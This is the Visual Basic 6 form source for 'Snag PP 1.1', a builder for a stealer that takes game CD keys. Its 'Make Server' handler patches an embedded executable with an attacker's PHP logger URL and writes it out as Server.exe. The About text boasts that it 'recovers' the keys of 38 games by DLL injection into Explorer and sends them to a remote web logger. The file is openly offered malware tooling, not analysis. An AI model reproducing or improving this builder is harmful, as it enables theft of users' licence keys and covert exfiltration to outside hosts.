VERSION 5.00
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Snag PP 1.1 by r3L4x - r3l4x.com!"
   ClientHeight    =   2385
   ClientLeft      =   4410
   ClientTop       =   3930
   ClientWidth     =   5370
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   2385
   ScaleWidth      =   5370
   Begin VB.CommandButton Command3 
      Caption         =   "Shouts"
      BeginProperty Font 
         Name            =   "Lucida Console"
         Size            =   9
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   1920
      TabIndex        =   5
      Top             =   1920
      Width           =   1455
   End
   Begin VB.CommandButton Command2 
      Caption         =   "About"
      BeginProperty Font 
         Name            =   "Lucida Console"
         Size            =   9
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   3960
      TabIndex        =   4
      Top             =   1920
      Width           =   1335
   End
   Begin VB.CommandButton Command1 
      Caption         =   "Make Server"
      BeginProperty Font 
         Name            =   "Lucida Console"
         Size            =   9
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   80
      TabIndex        =   3
      Top             =   1920
      Width           =   1335
   End
   Begin VB.CheckBox Check1 
      Caption         =   "dll Injection into Explorer"
      BeginProperty Font 
         Name            =   "Lucida Console"
         Size            =   9
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   1080
      TabIndex        =   2
      Top             =   1560
      Value           =   2  'Grayed
      Width           =   3255
   End
   Begin VB.TextBox Text1 
      BeginProperty Font 
         Name            =   "Lucida Sans"
         Size            =   8.25
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   285
      Left            =   1560
      MaxLength       =   60
      TabIndex        =   0
      Text            =   "http://site.com/log.php"
      Top             =   1200
      Width           =   3735
   End
   Begin VB.Label Label3 
      BackStyle       =   0  'Transparent
      Caption         =   "1.1"
      BeginProperty Font 
         Name            =   "Small Fonts"
         Size            =   13.5
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   855
      MouseIcon       =   "Form1.frx":08CA
      MousePointer    =   99  'Custom
      TabIndex        =   7
      Top             =   720
      Width           =   1215
   End
   Begin VB.Label Label2 
      BackColor       =   &H80000009&
      Height          =   255
      Left            =   920
      TabIndex        =   6
      Top             =   750
      Width           =   495
   End
   Begin VB.Label Label1 
      Alignment       =   2  'Center
      Caption         =   "Php Logger URL:"
      BeginProperty Font 
         Name            =   "Lucida Sans"
         Size            =   8.25
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   0
      TabIndex        =   1
      Top             =   1200
      Width           =   1455
   End
   Begin VB.Line Line1 
      X1              =   5400
      X2              =   0
      Y1              =   1035
      Y2              =   1035
   End
   Begin VB.Image Image1 
      Height          =   1035
      Left            =   0
      MouseIcon       =   "Form1.frx":0A1C
      MousePointer    =   99  'Custom
      Picture         =   "Form1.frx":0B6E
      Top             =   0
      Width           =   5355
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
Dim serv() As Byte
Dim holder As String
Const findurl As String = "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"
Dim url As String
serv = LoadResData(101, "CUSTOM")
'very pointless but im lazy
Open App.Path & "\Server.exe" For Output As #1
Close
'dump the byte array
Open App.Path & "\Server.exe" For Binary As #1
Put #1, , serv
Close
'reopen and store in a string because its easier to deal with
Open App.Path & "\Server.exe" For Binary As #1
holder = Space(LOF(1))
Get #1, , holder
Close

url = Text1
'this makes the string a proper length
Do Until Len(url) >= 60
url = url & Chr(0)
Loop
'replace &&&& with the script url
holder = Replace(holder, findurl, url)

'just delete it
Kill App.Path & "\Server.exe"
'and redump everything back in!
Open App.Path & "\Server.exe" For Binary As #1
Put #1, , holder
Close

MsgBox "All done! ^_^", vbInformation, "Done!"
End Sub

Private Sub Command2_Click()
Dim m As String
m = "About Snag PP v1.1! by r3L4x" & vbCrLf & _
"Snag PP can 'recover' *wink* the CD keys to 38 popular games and send them to a php logger, which will create a file on a webserver recording the info it gets." & _
"Check out the readme on more info to get this working!" & vbCrLf & _
"Snag PP was built off the original source to Snag++ by D-oNe (d-one.terrahawk.net). Snag PP is also open source, so goto r3L4x.com and download it along with tons of other things! Version 1.1 uses dll injection, so IT WORKS ON ALL OS's OK!"

MsgBox m, vbInformation, "About Snag PP 1.1"


End Sub

Private Sub Command3_Click()
MsgBox "shouts to everyone :)", vbInformation, "Shoutz"
End Sub

Private Sub Form_Load()
Check1.Enabled = False
End Sub

Private Sub Image1_Click()
Shell "Explorer http://r3L4x.com", vbMaximizedFocus
End Sub
